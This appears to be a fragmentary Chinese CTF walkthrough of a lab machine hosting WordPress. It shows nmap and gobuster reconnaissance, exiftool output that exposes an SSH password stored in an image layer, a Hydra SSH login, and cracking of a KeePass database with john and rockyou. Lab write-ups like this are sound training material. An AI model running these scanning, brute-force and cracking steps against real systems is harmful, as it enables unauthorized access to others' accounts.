Nmap scan report for 222.24.6.173 Host is up (0.00084s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
详细端口扫描：
1
nmap -sV -A -p- -T4 222.24.6.173
回显：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 15:31 CST Nmap scan report for 222.24.6.173 Host is up (0.0041s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA) | 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA) |_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: diary – Just another WordPress site |_http-server-header: Apache/2.4.38 (Debian) |_http-generator: WordPress 5.6.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.50 seconds
HTTP
看到网页架构为WordPress，尝试扫目录：
1
gobuster dir -u http://222.24.6.173/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html -e
ExifTool Version Number : 12.76 File Name : dblogo.png Directory : . File Size : 19 kB File Modification Date/Time : 2024:03:19 15:37:53+08:00 File Access Date/Time : 2024:03:19 15:49:57+08:00 File Inode Change Date/Time : 2024:03:19 15:49:57+08:00 File Permissions : -rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 300 Image Height : 300 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced SRGB Rendering : Perceptual Gamma : 2.2 Pixels Per Unit X : 2835 Pixels Per Unit Y : 2835 Pixel Units : meters XMP Toolkit : Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 Creator Tool : Adobe Photoshop CC 2018 (Windows) Create Date : 2021:02:24 02:55:28+03:00 Metadata Date : 2021:02:24 02:55:28+03:00 Modify Date : 2021:02:24 02:55:28+03:00 Instance ID : xmp.iid:562b80d4-fe12-8541-ae0c-6a21e7859405 Document ID : adobe:docid:photoshop:7232d876-a1d0-044b-9604-08837143888b Original Document ID : xmp.did:5890be6c-649b-0248-af9b-19889727200c Color Mode : RGB ICC Profile Name : sRGB IEC61966-2.1 Format : image/png History Action : created, saved History Instance ID : xmp.iid:5890be6c-649b-0248-af9b-19889727200c, xmp.iid:562b80d4-fe12-8541-ae0c-6a21e7859405 History When : 2021:02:24 02:55:28+03:00, 2021:02:24 02:55:28+03:00 History Software Agent : Adobe Photoshop CC 2018 (Windows), Adobe Photoshop CC 2018 (Windows) History Changed : / Text Layer Name : ssh password is 59583hello of course it is lowercase maybe not Text Layer Text : ssh password is 59583hello of course it is lowercase maybe not :) Document Ancestors : adobe:docid:photoshop:871a8adf-5521-894c-8a18-2b27c91a893b Image Size : 300x300 Megapixels : 0.090
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-19 15:53:41 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:5/p:1), ~1 try per task [DATA] attacking ssh://222.24.6.173:22/ [22][ssh] host: 222.24.6.173 login: gill password: 59583hello 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-19 15:53:45
keepass2john keyfile.kdbx > hash john --wordlist=/usr/share/wordlists/rockyou.txt hash
找到一个密码：
1 2 3 4 5 6 7 8 9 10 11
Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 32 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status porsiempre (keyfile) 1g 0:00:00:04 DONE (2024-03-19 16:01) 0.2375g/s 1641p/s 1641c/s 1641C/s polly..better Use the "--show" option to display all of the cracked passwords reliably Session completed.
